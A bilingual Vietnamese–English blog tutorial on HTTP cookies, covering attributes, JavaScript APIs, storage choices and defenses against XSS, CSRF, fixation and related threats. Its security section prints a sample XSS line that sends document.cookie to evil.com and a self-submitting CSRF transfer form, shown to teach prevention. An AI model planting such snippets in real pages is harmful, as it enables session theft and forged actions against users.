jvinhit//lab

Search posts

Type to search across journal entries.

navigate open esc close

Cookies in the Frontend — From Basics to Security Deep Dive

A bilingual deep-dive into HTTP cookies: how Set-Cookie works, every attribute (Secure, HttpOnly, SameSite, Partitioned/CHIPS), reading them in JS, cookies vs storage, and the security threats (XSS, CSRF, fixation) with prevention.

HTTP không trạng thái — mỗi request là độc lập và server quên bạn giữa các request. Cookie là cách sửa nguyên thuỷ: một mẩu dữ liệu nhỏ mà server bảo browser lưu lại và gửi lại trên mỗi request sau đó.

Vòng lặp đó chính là toàn bộ ý tưởng:

1. Browser → Server:  GET /login
2. Server → Browser:  Set-Cookie: session=abc123   {server bảo lưu}
3. Browser stores it
4. Browser → Server:  GET /dashboard
                      Cookie: session=abc123        {browser tự gửi lại}

Server đặt cookie bằng header response Set-Cookie; browser tự động trả lại bằng header request Cookie cho các request khớp.

Set-Cookie: session=abc123; Max-Age=3600; Path=/; Domain=example.com; Secure; HttpOnly; SameSite=Lax
            └──── name=value ────┘ └────────────── attributes ──────────────────────────┘

Chỉ name=value được gửi lại server. Các attribute là chỉ dẫn cho browser về việc khi nàothế nào gửi cookie — chúng không bao giờ được gửi ngược lại.


Attribute điều khiển vòng đời, phạm vi, và bảo mật của cookie. Đặt đúng chúng là phần lớn công việc.

Vòng đời: Expires vs Max-Age

Set-Cookie: a=1                          ; no lifetime → session cookie {cookie phiên}
Set-Cookie: b=2; Max-Age=3600            ; expires in 3600s {hết hạn sau 3600s}
Set-Cookie: c=3; Expires=Wed, 31 Dec 2025 23:59:59 GMT
  • Không vòng đời = = cookie phiên, xoá khi đóng browser (dù “khôi phục phiên” có thể giữ lại).
  • tính bằng giây, ưu tiên hơn Expires khi có cả hai. Hãy dùng nó.
  • Để xoá cookie: đặt lại với Max-Age=0 (cùng name/path/domain).

Phạm vi: DomainPath

Set-Cookie: x=1; Domain=example.com; Path=/app
  • Domain: bỏ qua → cookie chỉ host (đúng host). đặt Domain=example.com → gửi cả tới mọi subdomain . Bạn không thể đặt cookie cho domain bạn không thuộc về — và không bao giờ cho public suffix như .com.
  • Path: cookie chỉ gửi cho URL dưới path này. Path=/app → . Path không phải ranh giới bảo mật .

Bảo mật: Secure

Set-Cookie: token=xyz; Secure

Cookie chỉ gửi qua HTTPS (trừ localhost). Điều này ngăn kẻ tấn công mạng đọc nó qua HTTP thường. Luôn đặt Secure cho mọi thứ nhạy cảm.

Bảo mật: HttpOnly

Set-Cookie: session=abc123; HttpOnly

Cookie vô hình với JavaScriptdocument.cookie sẽ không hiện nó. Đây là phòng thủ quan trọng nhất chống đánh cắp phiên qua XSS. ID phiên luôn luôn nên là HttpOnly.

Bảo mật: SameSite

Cái này điều khiển việc cookie có được gửi trên request khác site hay không — phòng thủ cốt lõi chống CSRF.

Giá trịHành vi
StrictChỉ gửi cho request cùng site. Ngay cả click link từ site khác cũng không gửi — an toàn nhưng có thể khiến user “out” khi vừa tới
Lax mặc định)Gửi cùng site + khi điều hướng GET cấp cao nhất. Chặn POST/iframe/AJAX khác site
NoneGửi mọi request, bắt buộc Secure. Cần cho cookie third-party hợp pháp
Set-Cookie: session=abc; SameSite=Lax; Secure; HttpOnly
Set-Cookie: embed=1; SameSite=None; Secure   {third-party use {dùng third-party}}

Browser hiện đại mặc định SameSite=Lax khi bạn không chỉ định.

Hiện đại: Partitioned (CHIPS)

Set-Cookie: ad=1; SameSite=None; Secure; Partitioned

CHIPS (Cookie có trạng thái phân vùng độc lập) cho cookie third-party một lọ riêng cho mỗi site cấp cao nhất. Một embed trên siteA.com và cùng embed đó trên siteB.com nhận cookie phân vùng khác nhau — chúng giữ được trạng thái chức năng mà không cho phép theo dõi xuyên site.

Tiền tố tên: __Host-__Secure-

Set-Cookie: __Host-session=abc; Path=/; Secure; HttpOnly       {strongest {mạnh nhất}}
Set-Cookie: __Secure-id=xyz; Secure

Các tiền tố này được browser thực thi:

  • __Secure-: cookie phảiSecure và đến từ HTTPS.
  • __Host-: phải Secure, Path=/, và không có Domain (chỉ host) — tiêu chuẩn vàng cho cookie phiên, miễn nhiễm với tiêm từ subdomain.

Demo trực tiếp

Cookie dễ hiểu nhất khi bạn tự nghịch. Demo dưới có một sân chơi cookie (set/đọc/xoá với attribute thật), một minh hoạ HttpOnly, một so sánh cookie vs storage, và một trình giải thích SameSite/CSRF.

Mở demo đầy đủ:


API cũ: document.cookie

API cổ điển nổi tiếng là khó dùng — nó là một chuỗi “ma thuật” duy nhất:

// Reading returns ALL non-HttpOnly cookies as one string
// {Đọc trả về TẤT CẢ cookie không-HttpOnly dưới dạng một chuỗi}
console.log(document.cookie); // "theme=dark; lang=en"

// Writing sets ONE cookie (assignment doesn't overwrite the rest)
// {Ghi đặt MỘT cookie (gán không ghi đè phần còn lại)}
document.cookie = "theme=dark; Max-Age=3600; Path=/; SameSite=Lax";

// You can never read HttpOnly or Secure attributes back {Không bao giờ đọc lại được attribute}

Hàm phụ giúp nó dễ chịu hơn:

function getCookie(name) {
  const match = document.cookie.match(
    new RegExp("(?:^|; )" + name.replace(/([.$?*|{}()[\]\\/+^])/g, "\\$1") + "=([^;]*)")
  );
  return match ? decodeURIComponent(match[1]) : null;
}

function setCookie(name, value, { maxAge, path = "/", sameSite = "Lax", secure = true } = {}) {
  let str = `${encodeURIComponent(name)}=${encodeURIComponent(value)}; Path=${path}; SameSite=${sameSite}`;
  if (maxAge != null) str += `; Max-Age=${maxAge}`;
  if (secure) str += "; Secure";
  document.cookie = str;
}

function deleteCookie(name, path = "/") {
  document.cookie = `${name}=; Max-Age=0; Path=${path}`;
}

Lưu ý: JavaScript không bao giờ đặt được HttpOnly — điều đó sẽ phá huỷ mục đích của nó. Chỉ server làm được.

Cookie Store API bất đồng bộ dễ chịu hơn nhiều (nền Chromium, hỗ trợ một phần):

// Async, structured, no string parsing {Bất đồng bộ, có cấu trúc, không parse chuỗi}
await cookieStore.set({
  name: "theme",
  value: "dark",
  expires: Date.now() + 3600_000,
  sameSite: "lax",
});

const cookie = await cookieStore.get("theme"); // { name, value, ... }
const all = await cookieStore.getAll();
await cookieStore.delete("theme");

// React to changes (e.g. another tab logs out) {Phản ứng với thay đổi}
cookieStore.addEventListener("change", (e) => {
  console.log("changed:", e.changed, "deleted:", e.deleted);
});

Cookie không phải nơi duy nhất để lưu data. Chọn đúng công cụ:

Tính năngCookielocalStoragesessionStorageIndexedDB
Gửi lên servermỗi request
Dung lượng~4 KB~5–10 MB~5–10 MBhàng trăm MB+
JS đọc đượcchỉ khi không HttpOnly
Hết hạncó sẵnthủ côngđóng tab❌ manual
Sống qua đóng tab✅ (if persistent)
Tốt choxác thực, trạng thái servertuỳ chọn, trạng thái UItạm theo tabdữ liệu lớn có cấu trúc

Quy tắc kinh nghiệm: dùng cookie cho xác thực (server cần chúng mỗi request), và Web Storage cho data chỉ phía client. Đừng bao giờ để session token trong localStorage — nó hoàn toàn phơi bày với XSS.


Mối đe doạ bảo mật & Phòng tránh

Cookie mang theo thông tin xác thực, khiến chúng thành mục tiêu hàng đầu. Đây là các mối đe doạ chính.

1. XSS — Đánh cắp phiên

Nếu kẻ tấn công tiêm script vào trang, họ có thể đọc cookie và tuồn ra ngoài:

// Attacker's injected script {Script bị tiêm của kẻ tấn công}
new Image().src = "https://evil.com/steal?c=" + encodeURIComponent(document.cookie);

Phòng tránh:

  • trên cookie phiên — script không đọc được.
  • Sửa chính lỗ hổng XSS: escape output, dùng Content-Security-Policy chặt, không bao giờ innerHTML data chưa tin cậy.

2. CSRF — Request giả mạo

Browser gửi cookie tự động, kể cả request được kích bởi site khác. Kẻ tấn công có thể khiến browser bạn thực hiện hành động khi đang đăng nhập:

<!-- On evil.com — auto-submits using YOUR cookies {tự submit dùng cookie của BẠN} -->
<form action="https://bank.com/transfer" method="POST">
  <input name="to" value="attacker" />
  <input name="amount" value="10000" />
</form>
<script>document.forms[0].submit();</script>

Phòng tránh:

  • (hoặc Strict) chặn POST khác site.
  • Token chống CSRF: một bí mật theo phiên trong form/header mà kẻ tấn công không đọc được (double-submit cookie hoặc synchronizer token).
  • Kiểm tra Origin/Referer cho request thay đổi trạng thái.

3. MITM — Chặn bắt mạng

Qua HTTP thường, bất kỳ ai trên mạng đọc được cookie.

Phòng tránh: HTTPS khắp nơi + .

4. Cố định phiên

Kẻ tấn công cài sẵn một session ID đã biết trước khi bạn đăng nhập, rồi tái dùng nó sau đó.

Phòng tránh: Tái tạo session ID khi đăng nhập (và khi đổi quyền).

5. Lạm dụng Subdomain & Phạm vi

Một sub.example.com bị chiếm có thể đặt cookie Domain=example.com ghi đè cookie của site chính .

Phòng tránh: Dùng tiền tố __Host- cho cookie phiên (chỉ host, không Domain).

6. Theo dõi Third-Party

Cookie SameSite=None trong iframe/pixel xưa nay cho phép theo dõi xuyên site.

Phòng tránh / hướng đi: Browser đang loại bỏ dần cookie third-party; dùng Partitioned (CHIPS) cho trạng thái hợp pháp theo site.

Kẻ tấn công (hoặc code lỗi) có thể nhồi cookie khổng lồ/nhiều đến khi request vượt giới hạn header của server → 400/431 → lỗi 400/431 (một dạng DoS).

Phòng tránh: Giữ cookie nhỏ, kiểm tra kích thước, giới hạn theo Path/Domain.

Checklist phiên an toàn

For a session/auth cookie, ALWAYS:
{Cho cookie phiên/xác thực, LUÔN:}

✅ __Host- prefix      (host-only, can't be overridden) {không bị ghi đè}
✅ HttpOnly            (XSS can't read it) {XSS không đọc được}
✅ Secure              (HTTPS only) {chỉ HTTPS}
✅ SameSite=Lax/Strict (CSRF defense) {phòng CSRF}
✅ Short Max-Age       (limit blast radius) {giới hạn thiệt hại}
✅ Regenerate on login (anti-fixation) {chống fixation}
✅ + CSRF token for state-changing POSTs {+ token CSRF}

Example {Ví dụ}:
Set-Cookie: __Host-session=...; Max-Age=1800; Path=/; Secure; HttpOnly; SameSite=Lax

Safari (ITP) và Firefox chặn cookie third-party mặc định; Chrome cũng đang đi theo hướng đó. Các thứ thay thế:

  • : trạng thái phân vùng theo site.
  • : document.requestStorageAccess() cho phép frame nhúng xin cookie chưa phân vùng của nó sau một cử chỉ người dùng.
  • cho quảng cáo/định danh mà không cần cookie xuyên site.

Đồng ý & Luật riêng tư

Theo GDPR/ePrivacy, cookie không thiết yếu (analytics, ads) cần đồng ý trước; cookie thực sự cần thiết (phiên, bảo mật) thì không. Đừng đặt cookie theo dõi trước khi người dùng đồng ý.


Các lỗi thường gặp

LỗiSửa
token phiên trong localStorageDùng cookie HttpOnly
Quên SecureLuôn đặt cho cookie nhạy cảm
SameSite=None không SecureBrowser từ chối — thêm Secure
Xoá thất bạiKhớp chính xác name + path + domain
Dựa vào Path để bảo mậtNó không phải ranh giới bảo mật
Lưu data lớn trong cookieGiới hạn ~4 KB; gửi mỗi request — dùng storage
Không encodeURIComponentGiá trị có ; , = làm hỏng parse

Tham khảo nhanh

Set-Cookie attributes {thuộc tính}:
  Max-Age=<s> / Expires=<date>   → lifetime {vòng đời}
  Domain=<d>                     → share with subdomains {chia sẻ subdomain}
  Path=<p>                       → URL scope (NOT security) {phạm vi URL}
  Secure                         → HTTPS only {chỉ HTTPS}
  HttpOnly                       → hidden from JS {ẩn khỏi JS}
  SameSite=Strict|Lax|None       → cross-site policy (CSRF) {chính sách xuyên site}
  Partitioned                    → CHIPS per-site jar {lọ theo site}
  __Host- / __Secure- prefix     → browser-enforced rules {luật do browser thực thi}

JS access {truy cập JS}:
  document.cookie                → legacy string {chuỗi cũ}
  cookieStore.get/set/delete()   → modern async {hiện đại bất đồng bộ}

Decide where to store {quyết định lưu ở đâu}:
  auth/session  → HttpOnly cookie
  UI prefs      → localStorage
  per-tab temp  → sessionStorage
  large data    → IndexedDB

Cookie thì cũ, nhưng vẫn là xương sống của xác thực web. Khác biệt giữa một cookie an toàn và một mối hoạ chỉ là một nắm attribute — hãy đặt chúng một cách có chủ đích.